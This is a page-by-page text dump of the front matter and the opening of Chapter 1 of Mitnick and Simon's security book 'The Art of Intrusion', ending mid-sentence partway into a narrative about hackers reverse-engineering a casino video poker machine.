{
    "pages": [
        {
            "page_number": 1,
            "text": ""
        },
        {
            "page_number": 2,
            "text": "T H E   A R T   O F \nI N T R U S I O N\nThe Real Stories Behind the Exploits of Hackers, Intruders & Deceivers\nKevin D. Mitnick\nWilliam L. Simon\n"
        },
        {
            "page_number": 3,
            "text": ""
        },
        {
            "page_number": 4,
            "text": "T H E   A R T   O F \nI N T R U S I O N\nThe Real Stories Behind the Exploits of Hackers, Intruders & Deceivers\n"
        },
        {
            "page_number": 5,
            "text": ""
        },
        {
            "page_number": 6,
            "text": "T H E   A R T   O F \nI N T R U S I O N\nThe Real Stories Behind the Exploits of Hackers, Intruders & Deceivers\nKevin D. Mitnick\nWilliam L. Simon\n"
        },
        {
            "page_number": 7,
            "text": "Vice President & Executive Group Publisher: Richard Swadley\nVice President and Executive Publisher: Bob Ipsen\nVice President and Publisher: Joseph B. Wikert\nExecutive Acquisitions Editor: Carol Long\nDevelopment Editors: Emilie Herman, Kevin Shafer\nEditorial Manager: Kathryn Malm Bourgoine\nSenior Production Editor: Angela Smith\nProject Coordinator: April Farling\nCopy Editor: Joanne Slike\nInterior Design: Kathie S. Rickard\nText Design & Composition: Wiley Composition Services\nPublished by\nWiley Publishing, Inc.\n10475 Crosspoint Boulevard\nIndianapolis, IN 46256\nwww.wiley.com\nCopyright © 2005 by Kevin D. Mitnick and William L. Simon\nPublished by Wiley Publishing, Inc., Indianapolis, Indiana\nPublished simultaneously in Canada\nNo part of this publication may be reproduced, stored in a retrieval system or transmitted in any form or\nby any means, electronic, mechanical, photocopying, recording, scanning or otherwise, except as permit-\nted under Sections 107 or 108 of the 1976 United States Copyright Act, without either the prior written\npermission of the Publisher, or authorization through payment of the appropriate per-copy fee to the\nCopyright Clearance Center, 222 Rosewood Drive, Danvers, MA 01923, (978) 750-8400, fax (978)\n646-8600. Requests to the Publisher for permission should be addressed to the Legal Department, Wiley\nPublishing, Inc., 10475 Crosspoint Blvd., Indianapolis, IN 46256, (317) 572-3447, fax (317)\n572-4355, e-mail: brandreview@wiley.com.\nLimit of Liability/Disclaimer of Warranty: The publisher and the author make no representations or war-\nranties with respect to the accuracy or completeness of the contents of this work and specifically disclaim\nall warranties, including without limitation warranties of fitness for a particular purpose. No warranty may\nbe created or extended by sales or promotional materials. The advice and strategies contained herein may\nnot be suitable for every situation. This work is sold with the understanding that the publisher is not\nengaged in rendering legal, accounting, or other professional services. If professional assistance is\nrequired, the services of a competent professional person should be sought. Neither the publisher nor the\nauthor shall be liable for damages arising herefrom. The fact that an organization or Website is referred\nto in this work as a citation and/or a potential source of further information does not mean that the\nauthor or the publisher endorses the information the organization or Website may provide or recommen-\ndations it may make. Further, readers should be aware that Internet Websites listed in this work may have\nchanged or disappeared between then this work was written and when it is read.\nFor general information on our other products and services please contact our Customer Care\nDepartment within the United States at (800) 762-2974, outside the United States at (317) 572-3993\nor fax (317) 572-4002.\nTrademarks: Wiley and the Wiley logo are trademarks or registered trademarks of John Wiley & Sons,\nInc. and/or its affiliates, in the United States and other countries, and may not be used without written\npermission.  All other trademarks are the property of their respective owners. Wiley Publishing, Inc., is\nnot associated with any product or vendor mentioned in this book.\nWiley also publishes its books in a variety of electronic formats. Some content that appears in print may\nnot be available in electronic books.\nLibrary of Congress Cataloging-in-Publication Data:\nMitnick, Kevin D. (Kevin David), 1963-\nThe art of intrusion : the real stories behind the exploits of hackers, intruders, and deceivers / Kevin D.\nMitnick, William L. Simon.\np. cm.\nIncludes index.\nISBN 0-7645-6959-7 (cloth)\n1.  Computer security. 2.  Computer hackers.  I. Simon, William L., 1930- II. Title. \nQA76.9.A25M587 2005\n005.8--dc22\n2004025697\n"
        },
        {
            "page_number": 8,
            "text": "For Shelly Jaffe, Reba Vartanian, Chickie Leventhal,\nMitchell Mitnick\nFor Darci and Briannah \nAnd for the late Alan Mitnick, Adam Mitnick,\nSydney Kramer, Jack Biello.\nFor Arynne, Victoria, Sheldon, and David, and for Vincent and\nElena\n"
        },
        {
            "page_number": 9,
            "text": ""
        },
        {
            "page_number": 10,
            "text": "Contents\nChapter 1\nHacking the Casinos for a Million Bucks   . . . . . . . . . . . . . . . .1\nChapter 2\nWhen Terrorists Come Calling  . . . . . . . . . . . . . . . . . . . . . . .23\nChapter 3\nThe Texas Prison Hack  . . . . . . . . . . . . . . . . . . . . . . . . . . . .49\nChapter 4\nCops and Robbers  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .69\nChapter 5\nThe Robin Hood Hacker   . . . . . . . . . . . . . . . . . . . . . . . . . .91\nChapter 6\nThe Wisdom and Folly of Penetration Testing  . . . . . . . . . . .115\nChapter 7\nOf Course Your Bank Is Secure — Right?  . . . . . . . . . . . . . .139\nChapter 8\nYour Intellectual Property Isn’t Safe  . . . . . . . . . . . . . . . . . .153\nChapter 9\nOn the Continent  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .195\nChapter 10\nSocial Engineers — How They Work \nand How to Stop Them  . . . . . . . . . . . . . . . . . . . . . . . . . . .221\nChapter 11\nShort Takes  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .247\nIndex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .261\n"
        },
        {
            "page_number": 11,
            "text": ""
        },
        {
            "page_number": 12,
            "text": "Preface\nHackers play one-up among themselves. Clearly one of the prizes would\nbe bragging rights from hacking into my security company’s Web site or\nmy personal system.\nAnother would be that they had made up a story of a hack and planted\nit on me and my co-author Bill Simon so convincingly that we were taken\nin, believed it as true, and included it in this book.\nThat has presented a fascinating challenge, a game of wits that the two\nof us have played time after time as we did the interviews for the book.\nFor most reporters and authors, establishing authenticity is a fairly rou-\ntine matter: Is this really the person he or she claims to be? Is this person\nor was this person really working for the organization he or she claims?\nDid this person have the position he or she says? Does this person have\ndocumentation to back up the story, and can I verify that the documents\nare valid? Are there reputable people who will support the story or parts\nof it?\nWith hackers, checking the bona fides is tricky. Most of the people\nwhose stories appear in this book, other than a few who have already\nbeen to prison, would face felony charges if their true identities could be\ndetermined. So, asking for real names, or expecting to be offered as\nproof, is an iffy proposition.\nThese people have only come forward with their stories because they\ntrust me. They know I’ve done time myself, and they are willing to rely\non my not betraying them in a way that could put them in that position.\nYet, despite the risks, many did offer tangible proof of their hacks.\nEven so, it’s possible — in fact, it’s likely — that some people exagger-\nated their stories with details intended to make them more compelling,\nor spun a story that was a total fabrication, but constructed around\nenough workable exploits to give them the ring of truth.\nBecause of that risk, we have been diligent in holding to a high stan-\ndard of reliability. Through all the interviews, I have challenged every\ntechnical detail, asking for in-depth explanations of anything that didn’t\nix\n"
        },
        {
            "page_number": 13,
            "text": "sound quite right, and sometimes following up later to see if the story\nwas still the same or if he or she told it differently the second time\naround. Or, if this person “couldn’t remember” when asked about some\nhard-to-accomplish step omitted from the story. Or, if this person just\ndidn’t seem to know enough to do what he or she claimed or couldn’t\nexplain how he or she got from point A to point B.\nExcept where specifically noted, every one of the main stories in this\nbook has passed my “smell test.” My co-author and I agreed on the\nbelievability of every person whose story we have included. Nevertheless,\ndetails have often been changed to protect the hacker and the victim. In\nseveral of the stories, the identities of companies are disguised. I modi-\nfied the names, industries, and locations of targeted organizations. In\nsome cases, there is misleading information to protect the identity of the\nvictim or to prevent a duplication of the crime. However, the basic vul-\nnerabilities and nature of the incidents are accurate.\nAt the same time, because software developers and hardware manufac-\nturers are continually fixing security vulnerabilities through patches and\nnew product versions, few of the exploits described in these pages still\nwork as described here. This might lead the overconfident reader to\ndecide that he or she need not be concerned, that, with vulnerabilities\nattended to and corrected, the reader and his or her company have noth-\ning to be worried about. But the lesson of these stories, whether they\nhappened six months ago or six years ago, is that hackers are finding new\nvulnerabilities every day. Read the book not to learn specific vulnerabili-\nties in specific products, but to change your attitudes and gain a new\nresolve.\nAnd read the book, too, to be entertained, awed, amazed at the con-\ntinually surprising exploits of these wickedly clever hackers.\nSome are shocking, some are eye-opening, some will make you laugh\nat the inspired nerve of the hacker. If you’re an IT or security profes-\nsional, every story has lessons for you on making your organization more\nsecure. If you’re a non-technical person who enjoys stories of crime, dar-\ning, risk-taking, and just plain guts, you’ll find all that here.\nEvery one of these adventures involved the danger of a knock at the\ndoor, where a posse of cops, FBI agents, and Secret Service types would\nbe waiting with handcuffs ready. And, in a number of the cases, that’s\nexactly what happened.\nFor the rest, the possibility still remains. No wonder most of these\nhackers have never been willing to tell their stories before. Most of these\nadventures you will read here are being published for the very first time.\nThe Art of Intrusion\nx\n"
        },
        {
            "page_number": 14,
            "text": "Acknowledgments\nBy Kevin Mitnick\nThis book is dedicated to my wonderful family, close friends, and, most\nof all, the people that made this book possible — the black-hat and\nwhite-hat hackers who contributed their stories for our education and\nentertainment.\nThe Art of Intrusion was even more challenging to write than our last\nbook. Instead of using our combined creative talent to develop stories\nand anecdotes to illustrate the dangers of social engineering and what\nbusinesses can do to mitigate it, both Bill Simon and I relied heavily on\ninterviewing former hackers, phone phreaks, and hackers turned security\nprofessionals. We wanted to write a book that would be both a crime\nthriller and an eye-opening guide to helping businesses protect their\nvaluable information and computing resources. We strongly believe that\nby disclosing the common methodologies and techniques used by hack-\ners to break into systems and networks, we can influence the community\nat large to adequately address these risks and threats posed by savvy\nadversaries.\nI have had the extraordinary fortune of being teamed up with best-\nselling author Bill Simon, and we worked diligently together on this new\nbook. Bill’s notable skills as a writer include his magical ability to take\ninformation provided by our contributors and write it in such a style and\nmanner that anyone’s grandmother could understand it. More impor-\ntantly, Bill has become more than just a business partner in writing, but\na loyal friend who has been there for me during this whole development\nprocess. Although we had some moments of frustration and differences\nof opinion during the development phase, we always work it out to our\nmutual satisfaction. In a little over two years, I’ll finally be able to write\nand publish the The Untold Story of Kevin Mitnick, after certain govern-\nment restrictions expire. Hopefully, Bill and I will collaborate on this\nproject as well.\nxi\n"
        },
        {
            "page_number": 15,
            "text": "Bill’s wonderful wife, Arynne Simon, also has a warm place in my heart.\nI appreciate her love, kindness, and generosity that she has shown me in\nthe last three years. My only disappointing experience is not being able\nto enjoy her great cooking. Now that the book is finally finished, maybe\nI can convince her to cook a celebration dinner!\nHaving been so focused on The Art of Intrusion, I haven’t been able to\nspend much quality time with family and close friends. I became some-\nwhat of a workaholic, similar to the days where I’d spend countless hours\nbehind the keyboard exploring the dark corners of cyberspace. \nI want to thank my loving girlfriend, Darci Wood, and her game-loving\ndaughter Briannah for being supportive and patient during this time-\nconsuming project. Thank you, baby, for all your love, dedication, and\nsupport that you and Briannah have provided me while working on this\nand other challenging projects.\nThis book would not have been possible without the love and support\nof my family. My mother, Shelly Jaffe, and my grandmother, Reba\nVartanian, have given me unconditional love and support throughout my\nlife. I am so fortunate to have been raised by such a loving and dedicated\nmother, who I also consider my best friend. My grandmother has been\nlike a second mom to me, providing me with the same nurturing and love\nthat usually only a mother can give. She has been extremely helpful in\nhandling some of my business affairs, which at times interfered with her\nschedule. In every instance, she made my business a top priority, even\nwhen it was inconvenient to do so. Thank you, Gram, for helping me get\nthe job done whenever I needed you. As caring and compassionate peo-\nple, they’ve taught me the principles of caring about others and lending\na helping hand to the less fortunate. And so, by imitating the pattern of\ngiving and caring, I, in a sense, follow the paths of their lives. I hope\nthey’ll forgive me for putting them on the back burner during the process\nof writing this book, passing up chances to see them with the excuse of\nwork and deadlines to meet. This book would not have been possible\nwithout their continued love and support that I’ll forever hold close to\nmy heart. \nHow I wish my Dad, Alan Mitnick, and my brother, Adam Mitnick,\nwould have lived long enough to break open a bottle of champagne with\nme on the day our second book first appears in a bookstore. As a sales-\nman and business owner, my father taught me many of the finer things\nthat I will never forget. \nMy mother’s late boyfriend, Steven Knittle, has been a father figure to\nme for the past 12 years. I took great comfort knowing that you were\nalways there to take care of my mom when I could not. Your passing has\nThe Art of Intrusion\nxii\n"
        },
        {
            "page_number": 16,
            "text": "had a profound impact on our family and we miss your humor, laughter,\nand the love you brought to our family. RIP.\nMy aunt Chickie Leventhal will always have a special place in my heart.\nOver the last couple years, our family ties have been strengthened, and\nour communication has been wonderful. Whenever I need advice or a\nplace to stay, she is always there offering her love and support. During my\nintense devotion to writing this book, I sacrificed many opportunities to\njoin her, my cousin, Mitch Leventhal, and her boyfriend, Dr. Robert\nBerkowitz, for our family get-togethers.\nMy friend Jack Biello was a loving and caring person who spoke out\nagainst the extraordinary mistreatment I endured at the hands of jour-\nnalists and government prosecutors. He was a key voice in the Free Kevin\nmovement and a writer who had an extraordinary talent for writing com-\npelling articles exposing the information that the government didn’t\nwant you to know. Jack was always there to fearlessly speak out on my\nbehalf and to work together with me preparing speeches and articles,\nand, at one point, represented me as a media liaison. While finishing up\nthe manuscript for The Art of Deception (Wiley Publishing, Inc., 2002),\nJack’s passing left me feeling a great sense of loss and sadness. Although\nit’s been two years, Jack is always in my thoughts. \nOne of my closest friends, Caroline Bergeron, has been very support-\nive of my endeavor to succeed on this book project. She is a lovely and\nbrilliant soon-to-be lawyer living in the Great White North. Having met\nher during one of my speaking engagements in Victoria, we hit it off\nright away. She lent her expertise to proofreading, editing, and correct-\ning the two-day social engineering seminar that Alex Kasper and I devel-\noped. Thank you, Caroline, for being there for me.\nMy colleague Alex Kasper is not only my best friend but also my col-\nleague; we are currently working on delivering one-day and two-day sem-\ninars on how businesses can recognize and defend against social\nengineering attacks. Together we hosted a popular Internet talk radio\nshow known as “The Darkside of the Internet” on KFI radio in Los\nAngeles. You have been a great friend and confidant. Thank you for your\ninvaluable assistance and advice. Your influence has always been positive\nand helpful with a kindness and generosity that often extended far\nbeyond the norm. \nPaul Dryman has been a family friend for many, many years. Paul was\nmy late father’s best friend. After my dad’s passing, Paul has been a father\nfigure, always willing to help and talk with me about anything on my\nmind. Thank you, Paul, for your loyal and devoted friendship to my\nfather and I for so many years.\nAcknowledgments\nxiii\n"
        },
        {
            "page_number": 17,
            "text": "Amy Gray has managed my speaking career for the last three years. Not\nonly do I admire and adore her personality, but I value how she treats\nother people with such respect and courtesy. Your support and dedication\nto professionalism has contributed to my success as a public speaker and\ntrainer. Thank you so much for your continued friendship and your\ncommitment to excellence. \nAttorney Gregory Vinson was on my defense team during my years-\nlong battle with the government. I’m sure he can relate to Bill’s under-\nstanding and patience for my perfectionism; he has had the same\nexperience working with me on legal briefs he has written on my behalf.\nGregory is now my business attorney diligently working with me on new\ncontracts and negotiating business deals. Thank you for your wonderful\nsupport and diligent work, especially when needed on short notice.\nEric Corley (aka Emmanuel Goldstein) has been an active supporter\nand close friend for over a decade. He has always looked out for my best\ninterest and has publicly defended me when I was demonized by\nMiramax Films and certain other journalists. Eric has been extremely\ninstrumental in getting the word out during the government’s prosecu-\ntion of me. Your kindness, generosity, and friendship mean more to me\nthan words can express. Thank you for being a loyal and trusted friend.\nSteve Wozniak and Sharon Akers have given much of their time to assist\nme and are always there to help me out. The frequent rearranging of your\nschedules to be there to support me is much appreciated and it warms me\nto call both of you my friends. Hopefully, now that this book is com-\npleted, we will have more time to get together for some gadget quality\ntime. Steve — I’ll never forget the time that you, Jeff Samuels, and I\ndrove through the night in your Hummer to get to DEFCON in Las\nVegas, switching drivers constantly so that we could all check our e-mail\nand chat with friends over our GPRS wireless connections.\nAnd as I write these acknowledgments, I realize I have so many people\nto thank and to express appreciation to for offering their love, friendship,\nand support. I cannot begin to remember the names of all the kind and\ngenerous people that I’ve met in recent years, but suffice to say, I would\nneed a large USB flash drive to store them all. There have been so many\npeople from all over the world who have written me words of encour-\nagement, praise, and support. These words have meant a great deal to\nme, especially during the times I needed it most. \nI’m especially thankful to all my supporters who stood by me and spent\ntheir valuable time and energy getting the word out to anyone that would\nlisten, voicing their concern and objection over my unfair treatment and\nThe Art of Intrusion\nxiv\n"
        },
        {
            "page_number": 18,
            "text": "the hyperbole created by those who sought to profit from the “The Myth\nof Kevin Mitnick.” \nI’m eager to thank those people who represent my professional career\nand are dedicated in extraordinary ways. David Fugate, of Waterside\nProductions, is my book agent who went to bat for me on many occa-\nsions before and after the book contract was signed.\nI very much appreciate the opportunity that John Wiley & Sons has\ngiven me to author another book, and for their confidence in our ability\nto develop a best seller. I wish to thank the following Wiley people who\nmade this dream possible: Ellen Gerstein; Bob Ipsen; Carol Long, who\nalways promptly responds to my questions and concerns (my number one\ncontact at Wiley and executive editor); and Emilie Herman and Kevin\nShafer (developmental editors), who have both worked with us as a team\nto get the job done.\nI have had too many experiences with lawyers, but I am eager to have\na place to express my thanks for the lawyers who, during the years of my\nnegative interactions with the criminal justice system, stepped up and\noffered to help me when I was in desperate need. From kind words to\ndeep involvement with my case, I met many who don’t at all fit the\nstereotype of the self-centered attorney. I have come to respect, admire,\nand appreciate the kindness and generosity of spirit given to me so freely\nby so many. They each deserve to be acknowledged with a paragraph of\nfavorable words; I will at least mention them all by name, for every one\nof them lives in my heart surrounded by appreciation: Greg Aclin, Fran\nCampbell, Lauren Colby, John Dusenbury, Sherman Ellison, Omar\nFigueroa, Jim French, Carolyn Hagin, Rob Hale, David Mahler, Ralph\nPeretz, Alvin Michaelson, Donald C. Randolph, Alan Rubin, Tony Serra,\nSkip Slates, Richard Steingard, Honorable Robert Talcott, Barry Tarlow,\nJohn Yzurdiaga, and Gregory Vinson.\nOther family members, personal friends, business associates who have\ngiven me advice and support, and have reached out in many ways, are\nimportant to recognize and acknowledge. They are JJ Abrams, Sharon\nAkers, Matt “NullLink” Beckman, Alex “CriticalMass” Berta, Jack\nBiello, Serge and Susanne Birbrair, Paul Block, Jeff Bowler, Matt “404”\nBurke, Mark Burnett, Thomas Cannon, GraceAnn and Perry Chavez,\nRaoul Chiesa, Dale Coddington, Marcus Colombano, Avi Corfas,\nEd Cummings, Jason “Cypher” Satterfield, Robert Davies, Dave\nDelancey, Reverend Digital, Oyvind Dossland, Sam Downing, John\nDraper, Ralph Echemendia, Ori Eisen, Roy Eskapa, Alex Fielding, Erin\nFinn, Gary Fish and Fishnet Security, Lisa Flores, Brock Frank, Gregor\nFreund, Sean Gailey and the whole Jinx crew, Michael and Katie Gardner,\nAcknowledgments\nxv\n"
        },
        {
            "page_number": 19,
            "text": "Steve Gibson, Rop Gonggrijp, Jerry Greenblatt, Thomas Greene, Greg\nGrunberg, Dave Harrison, G. Mark Hardy, Larry Hawley, Leslie\nHerman, Michael Hess and everyone at Roadwired bags, Jim Hill, Ken\nHolder, Rochell Hornbuckle, Andrew “Bunnie” Huang, Linda Hull,\nSteve Hunt, all the great people at IDC, Marco Ivaldi, Virgil Kasper,\nStacey Kirkland, Erik Jan Koedijk, the Lamo Family, Leo and Jennifer\nLaporte, Pat Lawson, Candi Layman, Arnaud Le-hung, Karen Leventhal,\nBob Levy, David and Mark Litchfield, CJ Little, Jonathan Littman, Mark\nLoveless, Lucky 225, Mark Maifrett, Lee Malis, Andy Marton, Lapo\nMasiero, Forrest McDonald, Kerry McElwee, Jim “GonZo” McAnally,\nPaul and Vicki Miller, Elliott Moore, Michael Morris, Vincent, Paul and\nEileen Navarino, Patrick and Sarah Norton, John Nunes, Shawn Nunley,\nJanis Orsino, Tom Parker, Marco Plas, Kevin and Lauren Poulsen, Scott\nPress, Linda and Art Pryor, Pyr0, John Rafuse, Mike Roadancer and the\nentire security crew from HOPE 2004, RGB, Israel and Rachel\nRosencrantz, Mark Ross, Bill Royle, William Royer, Joel “ch0l0man”\nRuiz, Martyn Ruks, Ryan Russell, Brad Sagarin, Martin Sargent, Loriann\nSiminas, Te Smith, Dan Sokol, Trudy Spector, Matt Spergel, Gregory\nSpievack, Jim and Olivia Sumner, Douglas Thomas, Cathy Von, Ron\nWetzel, Andrew Williams, Willem, Don David Wilson, Joey Wilson, Dave\nand Dianna Wykofka, and all my friends and supporters from the boards\non Labmistress.com and 2600 magazine.\nBy Bill Simon\nIn doing our first book, The Art of Deception, Kevin Mitnick and I forged\na friendship. While writing this one, we continually found new ways of\nworking together while deepening our friendship. So, my first words of\nappreciation go to Kevin for being an outstanding “travel companion” as\nwe shared this second journey.\nDavid Fugate, my agent at Waterside Productions and the man respon-\nsible for bringing Kevin and me together in the first place, tapped into his\nusual store of patience and wisdom to find ways of solving those few mis-\nerable situations that cropped up. When the going gets tough, every\nwriter should be blessed with an agent who is as wise and as good a\nfriend. Ditto for my longtime friend Bill Gladstone, the founder of\nWaterside Productions and my principal agent. Bill remains a key factor\nin the success of my writing career and has my everlasting gratitude.\nMy wife Arynne continues to inspire me anew each day with her love\nand her dedication to excellence; I appreciate her more than I can say in\nwords. She has increased my proficiency as a writer because of her intel-\nligence and willingness to be forthright by telling me straight out when\nThe Art of Intrusion\nxvi\n"
        },
        {
            "page_number": 20,
            "text": "my writing has missed the mark. Somehow she gets through the steam of\nwrath that is my usual initial response to her suggestions, but in the end\nI accept the wisdom of her suggestions and do the rewrite. \nMark Wilson lent a helping hand that made a difference. Emilie\nHerman was a champion of an editor. And I can’t overlook the work of\nKevin Shafer, who took over after Emilie left. \nEven a sixteenth book accumulates a debt to people who along the way\nhave been more than a little helpful; of the many, I especially want to\nmention Kimberly Valentini and Maureen Maloney of Waterside, and\nJosephine Rodriguez. Marianne Stuber did her usual fast turnaround\ntranscribing (not easy with all those strange technical terms and hacker\nslang) and Jessica Dudgeon kept the office on an even keel. Darci Wood\nwas a champ about the time her Kevin dedicated to getting this book\ndone. \nSpecial thanks to daughter Victoria and son Sheldon for their under-\nstanding, and to my twin grandchildren Vincent and Elena, all of whom\nI trust I will be able to see more once this manuscript is delivered.\nTo the many who offered us stories, and especially to those whose com-\npelling stories we chose to use, Kevin and I are deeply indebted. They\ncame forward despite significant risks. Had their names been revealed, in\nmany cases they would have faced being dragged away by the men in\nblue. Even those whose stories weren’t used showed courage in their will-\ningness to share, and deserve to be admired for it. We do, indeed, admire\nthem.\nAcknowledgments\nxvii\n"
        },
        {
            "page_number": 21,
            "text": ""
        },
        {
            "page_number": 22,
            "text": "1\nChapter 1\nHacking the Casinos\nfor a Million Bucks \nEvery time [some software engineer] says, “Nobody will go to the trouble of\ndoing that,” there’s some kid in Finland who will go to the trouble.\n— Alex Mayfield\nT\nhere comes a magical gambler’s moment when simple thrills\nmagnify to become 3-D fantasies — a moment when greed\nchews up ethics and the casino system is just another mountain\nwaiting to be conquered. In that single moment the idea of a foolproof\nway to beat the tables or the machines not only kicks in but kicks one’s\nbreath away. \nAlex Mayfield and three of his friends did more than daydream. Like\nmany other hacks, this one started as an intellectual exercise just to see if\nit looked possible. In the end, the four actually beat the system, taking\nthe casinos for “about a million dollars,” Alex says.\nIn the early 1990s, the four were working as consultants in high-tech\nand playing life loose and casual. “You know — you’d work, make some\nmoney, and then not work until you were broke.”\nLas Vegas was far away, a setting for movies and television shows. So\nwhen a technology firm offered the guys an assignment to develop some\nsoftware and then accompany it to a trade show at a high-tech conven-\ntion there, they jumped at the opportunity. It would be the first in Vegas\nfor each of them, a chance to see the flashing lights for themselves, all\nexpenses paid; who would turn that down? The separate suites for each\nin a major hotel meant that Alex’s wife and Mike’s girlfriend could be\n"
        },
        {
            "page_number": 23,
            "text": "included in the fun. The two couples, plus Larry and Marco, set off for\nhot times in Sin City. \nAlex says they didn’t know much about gambling and didn’t know\nwhat to expect. “You get off the plane and you see all the old ladies play-\ning the slots. It seems funny and ironic, and you soak that in.” \nAfter the four had finished doing the trade show, they and the two\nladies were sitting around in the casino of their hotel playing slot\nmachines and enjoying free beers when Alex’s wife offered a challenge: \n“Aren’t these machines based on computers? You guys are into\ncomputers, can’t you do something so we win more?”\nThe guys adjourned to Mike’s suite and sat around tossing out ques-\ntions and offering up theories on how the machines might work.\nResearch\nThat was the trigger. The four “got kinda curious about all that, and we\nstarted looking into it when we got back home,” Alex says, warming up\nto the vivid memories of that creative phase. It took only a little while for\nthe research to support what they already suspected. “Yeah, they’re com-\nputer programs basically. So then we were interested in, was there some\nway that you could crack these machines?”\nThere were people who had beaten the slot machines by “replacing the\nfirmware” — getting to the computer chip inside a machine and substi-\ntuting the programming for a version that would provide much more\nattractive payoffs than the casino intended. Other teams had done that,\nbut it seemed to require conspiring with a casino employee, and not just\nany employee but one of the slot machine techies. To Alex and his bud-\ndies, “swapping ROMs would have been like hitting an old lady over the\nhead and taking her purse.” They figured if they were going to try this,\nit would be as a challenge to their programming skills and their intellects.\nAnd besides, they had no advanced talents in social engineering; they\nwere computer guys, lacking any knowledge of how you sidle up to a\ncasino employee and propose that he join you in a little scheme to take\nsome money that doesn’t belong to you. \nBut how would they begin to tackle the problem? Alex explained:\nWe were wondering if we could actually predict something about\nthe sequence of the cards. Or maybe we could find a back door\n[software code allowing later unauthorized access to the program]\nthat some programmer may have put in for his own benefit. All\nprograms are written by programmers, and programmers are \nThe Art of Intrusion\n2\n"
        },
        {
            "page_number": 24,
            "text": "mischievous creatures. We thought that somehow we might stumble\non a back door, such as pressing some sequence of buttons to change\nthe odds, or a simple programming flaw that we could exploit.\nAlex read the book The Eudaemonic Pie by Thomas Bass (Penguin,\n1992), the story of how a band of computer guys and physicists in the\n1980s beat roulette in Las Vegas using their own invention of a “wear-\nable” computer about the size of a pack of cigarettes to predict the out-\ncome of a roulette play. One team member at the table would click\nbuttons to input the speed of the roulette wheel and how the ball was\nspinning, and the computer would then feed tones by radio to a hearing\naid in the ear of another team member, who would interpret the signals\nand place an appropriate bet. They should have walked away with a ton\nof money but didn’t. In Alex’s view, “Their scheme clearly had great\npotential, but it was plagued by cumbersome and unreliable technology.\nAlso, there were many participants, so behavior and interpersonal rela-\ntions were an issue. We were determined not to repeat their mistakes.”\nAlex figured it should be easier to beat a computer-based game\n“because the computer is completely deterministic” — the outcome\nbased on by what has gone before, or, to paraphrase an old software engi-\nneer’s expression, good data in, good data out. (The original expression\nlooks at this from the negative perspective: “garbage in, garbage out.”)\nThis looked right up his alley. As a youngster, Alex had been a musi-\ncian, joining a cult band and dreaming of being a rock star, and when that\ndidn’t work out had drifted into the study of mathematics. He had a tal-\nent for math, and though he had never cared much for schooling (and\nhad dropped out of college), he had pursued the subject enough to have\na fairly solid level of competence. \nDeciding that some research was called for, he traveled to Washington,\nDC, to spend some time in the reading room of the Patent Office. “I fig-\nured somebody might have been stupid enough to put all the code in the\npatent” for a video poker machine. And sure enough, he was right. “At\nthat time, dumping a ream of object code into a patent was a way for a\npatent filer to protect his invention, since the code certainly contains a\nvery complete description of his invention, but in a form that isn’t terri-\nbly user-friendly. I got some microfilm with the object code in it and then\nscanned the pages of hex digits for interesting sections, which had to be\ndisassembled into [a usable form].”\nAnalyzing the code uncovered a few secrets that the team found\nintriguing, but they concluded that the only way to make any real\nprogress would be to get their hands on the specific type of machine they\nwanted to hack so they could look at the code for themselves.\nChapter 1\nHacking the Casinos for a Million Bucks\n3\n"
        },
        {
            "page_number": 25,
            "text": "As a team, the guys were well matched. Mike was a better-than-\ncompetent programmer, stronger than the other three on hardware\ndesign. Marco, another sharp programmer, was an Eastern European\nimmigrant who looked like a teenager. But he was something of a dare-\ndevil, approaching everything with a can-do, smart-ass attitude. Alex\nexcelled at programming and was the one who contributed the knowl-\nedge of cryptography they would need. Larry wasn’t much of a pro-\ngrammer and because of a motorcycle accident couldn’t travel much, but\nwas a great organizer who kept the project on track and everybody\nfocused on what needed to be done at each stage.\nAfter their initial research, Alex “sort of forgot about” the project.\nMarco, though, was hot for the idea. He kept insisting, “It’s not that big\na deal, there’s thirteen states where you can legally buy machines.”\nFinally he talked the others into giving it a try. “We figured, what the\nhell.” Each chipped in enough money to bankroll the travel and the cost\nof a machine. They headed once again for Vegas — this time at their own\nexpense and with another goal in mind.\nAlex says, “To buy a slot machine, basically you just had to go in and show\nID from a state where these machines are legal to own. With a driver’s\nlicense from a legal state, they pretty much didn’t ask a lot of questions.”\nOne of the guys had a convenient connection to a Nevada resident. “He was\nlike somebody’s girlfriend’s uncle or something, and he lived in Vegas.” \nThey chose Mike as the one to talk to this man because “he has a sales-y\nkind of manner, a very presentable sort of guy. The assumption is that you’re\ngoing to use it for illegal gambling. It’s like guns,” Alex explained. A lot of\nthe machines get gray-marketed — sold outside accepted channels — to\nplaces like social clubs. Still, he found it surprising that “we could buy the\nexact same production units that they use on the casino floor.”\nMike paid the man 1,500 bucks for a machine, a Japanese brand.\n“Then two of us put this damn thing in a car. We drove it home as if we\nhad a baby in the back seat.”\nDeveloping the Hack\nMike, Alex, and Marco lugged the machine upstairs to the second floor\nof a house where they had been offered the use of a spare bedroom. The\nthrill of the experience would long be remembered by Alex as one of the\nmost exciting in his life. \nWe open it up, we take out the ROM, we figure out what proces-\nsor it is. I had made a decision to get this Japanese machine that\nlooked like a knockoff of one of the big brands. I just figured the\nThe Art of Intrusion\n4\n"
        },
        {
            "page_number": 26,
            "text": "engineers might have been working under more pressure, they\nmight have been a little lazy or a little sloppy. \nIt turned out I was right. They had used a 6809 [chip], similar\nto a 6502 that you saw in an Apple II or an Atari. It was an \n8-bit chip with a 64K memory space. I was an assembly language\nprogrammer, so this was familiar. \nThe machine Alex had chosen was one that had been around for some\n10 years. Whenever a casino wants to buy a machine of a new design, the\nLas Vegas Gaming Commission has to study the programming and make\nsure it’s designed so the payouts will be fair to the players. Getting a new\ndesign approved can be a lengthy process, so casinos tend to hold on to\nthe older machines longer than you would expect. For the team, an older\nmachine seemed likely to have outdated technology, which they hoped\nmight be less sophisticated and easier to attack.\nThe computer code they downloaded from the chip was in binary\nform, the string of 1’s and 0’s that is the most basic level of computer\ninstructions. To translate that into a form they could work with, they\nwould first have to do some reverse engineering — a process an engineer\nor programmer uses to figure out how an existing product is designed; in\nthis case it meant converting from machine language to a form that the\nguys could understand and work with. \nAlex needed a disassembler to translate the code. The foursome didn’t\nwant to tip their hand by trying to purchase the software — an act they\nfelt would be equivalent to going into your local library and trying to\ncheck out books on how to build a bomb. The guys wrote their own dis-\nassembler, an effort that Alex describes as “not a piece of cake, but it was\nfun and relatively 